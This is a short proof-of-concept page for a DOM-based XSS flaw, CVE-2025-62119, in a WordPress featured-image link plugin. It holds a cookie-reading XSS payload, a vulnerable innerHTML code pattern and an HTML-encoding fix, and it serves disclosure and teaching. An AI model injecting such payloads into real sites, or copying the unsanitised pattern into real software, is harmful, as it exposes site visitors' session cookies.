CVE-2025-62119 WordPress Add Featured Image Custom Link插件DOM型XSS漏洞

// CVE-2025-62119 DOM-based XSS PoC // Target: WordPress Add Featured Image Custom Link Plugin <= 2.0.0 // Malicious URL payload that triggers XSS const maliciousPayload = '<img src=x onerror=alert(document.cookie)>'; // Step 1: Craft the attack URL with the malicious payload in the custom URL field // This would be injected through the plugin's settings interface const attackUrl = 'https://target-site.com/wp-admin/admin.php?page=custom-url-to-featured-image'; // Step 2: The plugin stores the payload without sanitization // Payload is stored in WordPress options table // Step 3: When a post with featured image is viewed, the XSS executes // The following demonstrates the vulnerable code pattern: // Vulnerable code (what the plugin does): function vulnerableCode() { const customUrl = getOption('custom_featured_image_url'); // Directly inserting into DOM without sanitization document.querySelector('.featured-image-link').innerHTML = '<a href="' + customUrl + '"><img src="..."></a>'; } // Safe code (what should be done): function safeCode() { const customUrl = getOption('custom_featured_image_url'); // Properly encode output const safeUrl = encodeHTML(customUrl); document.querySelector('.featured-image-link').innerHTML = '<a href="' + safeUrl + '"><img src="..."></a>'; } // Helper function to encode HTML entities function encodeHTML(str) { return str.replace(/[&<>"']/g, function(match) { const entities = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' }; return entities[match]; }); } console.log('PoC for CVE-2025-62119: DOM-based XSS in Add Featured Image Custom Link');